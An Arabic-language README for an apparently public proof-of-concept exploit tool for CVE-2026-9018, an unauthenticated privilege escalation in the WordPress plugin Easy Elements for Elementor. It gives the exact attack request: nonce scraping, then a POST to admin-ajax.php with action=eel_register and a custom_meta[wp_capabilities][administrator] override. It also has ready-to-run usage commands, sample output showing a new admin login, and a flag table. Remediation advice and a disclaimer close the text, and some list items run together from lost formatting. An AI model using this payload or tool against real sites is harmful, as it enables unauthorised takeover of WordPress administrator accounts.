
تصعيد امتيازات غير مُصادَق عليه CVE-2026-9018: Easy Elements for Elementor
بحث بواسطة: Atomic Edge الخطورة: عالية | CVSS: 8.8 | المصادقة المطلوبة: لا شيء
توجد ثغرة تصعيد امتيازات بدون مصادقة في البرنامج المساعد ووردبريس Easy Elements for Elementor – Addons & Website Templates (الإصدارات ≤ 1.4.5). تقوم الدالة easyel_handle_register()، التي يتم كشفها عبر معالج AJAX wp_ajax_nopriv_eel_register، بتمرير قيم custom_meta المرسلة عبر POST والتي يتحكم فيها المهاجم مباشرة إلى update_user_meta() دون أي قائمة بيضاء للمفاتيح. وهذا يسمح لمهاجم بدون مصادقة بالكتابة فوق مفتاح wp_capabilities وإنشاء حساب بصلاحيات مدير النظام.
قبل الاستغلال، يجب توفر الشروط التالية على الموقع المستهدف:
Settings → General → Anyone can register)easy_elements_nonce في DOM الصفحةpip install requests
# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com
# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
يتبع الاستغلال عملية من خطوتين:
الخطوة 1 — جمع الـ Nonce
تعرض ودجت تسجيل الدخول/التسجيل في Elementor حقلاً مخفيًا باسم easy_elements_nonce في HTML الصفحة. يمكن لأي زائر بدون مصادقة الوصول إلى هذا الـ nonce علنًا، ويتم استخراجه عبر regex من شفرة الصفحة المصدرية.
الخطوة 2 — تسجيل خبيث
يتم إرسال طلب POST إلى /wp-admin/admin-ajax.php مع action=eel_register. يتم تصميم مصفوفة custom_meta بحيث تتضمن:
custom_meta[wp_capabilities][administrator] = 1
نظرًا لأن easyel_handle_register() تمرر جميع مفاتيح custom_meta مباشرة إلى update_user_meta() دون قائمة بيضاء، يتم الكتابة فوق بيانات المستخدم wp_capabilities بعد التسجيل، مما يمنح المستخدم الجديد صلاحيات مدير النظام الكاملة.
يجب على المطوّرين تطبيق الإصلاحات التالية على easyel_handle_register():
custom_meta المسموح بها (مثل first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user() تمامًا إذا لم تكن مطلوبة→ قم بالتحديث إلى Easy Elements for Elementor 1.4.6 أو أحدث فورًا.
هذا المستودع مخصص للبحث الأمني المصرح به والأغراض التعليمية فقط. لا تستخدم هذه الأداة ضد أي نظام دون إذن كتابي صريح من مالك النظام. قد يؤدي الاستخدام غير المصرح به إلى انتهاك قانون CFAA (الولايات المتحدة)، والقانون الجنائي s.342.1 (كندا)، وتوجيه NIS2 للاتحاد الأوروبي، وقوانين أخرى سارية. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام أو الأضرار الناشئة عن هذا الكود.
| الخاصية | التفاصيل |
|---|
| البرنامج المساعد | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| المتأثر | ≤ 1.4.5 |
| تم الإصلاح في | 1.4.6+ |
| ناقل الهجوم | شبكة / بدون مصادقة |
| CWE | CWE-269: إدارة غير صحيحة للامتيازات |
| إجراء AJAX | eel_register (nopriv) |
| العلم | الوصف | الافتراضي |
|---|
-u, --url | رابط ووردبريس المستهدف | (مطلوب) |
-U, --username | اسم المستخدم للحساب الإداري الجديد | atomic_admin |
-e, --email | البريد الإلكتروني للحساب الإداري الجديد | [email protected] |
-p, --password | كلمة المرور للحساب الإداري الجديد | Atomic@Edge2026! |
-np, --nonce-page | مسار الصفحة التي تحتوي على ودجت تسجيل الدخول/التسجيل | / |
--no-verify | تعطيل التحقق من شهادة SSL | false |
--skip-verify-login | تخطي التحقق من تسجيل دخول مشرف ووردبريس بعد الاستغلال | false |